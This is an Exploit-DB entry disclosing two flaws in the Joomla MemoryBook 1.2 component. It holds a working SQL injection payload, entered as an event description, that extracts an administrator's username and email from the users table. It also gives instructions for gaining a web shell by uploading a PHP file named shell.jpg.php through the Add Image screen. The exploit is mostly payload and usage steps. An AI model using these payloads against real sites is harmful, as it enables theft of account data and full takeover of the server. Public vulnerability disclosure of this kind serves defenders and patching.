joomla component memorybook 1.2 - Multiple Vulnerabilities

EDB-ID: 10731 CVE: N/A OSVDB-ID: 61451
Author: jdc Published: 2009-12-27 Verified: Not Verified
Exploit Code:   Download Vulnerable App:   N/A


Prev Home Next
SQL Injection

requires: magic quotes OFF, user account

Add this as the description of a new event:

'), ( 63,(SELECT CONCAT(username,0x20,email) FROM #__users WHERE gid=25 
LIMIT 1),1,1,1) -- '

NOTE: 63 MUST be your Joomla user ID. extracted info can be found on 
View Events page

Remote File Inclusion

requires: user account

Just upload your PHP shell (shell.jpg.php) through the Add Image screen, 
and find it's new URL in the View Images screen.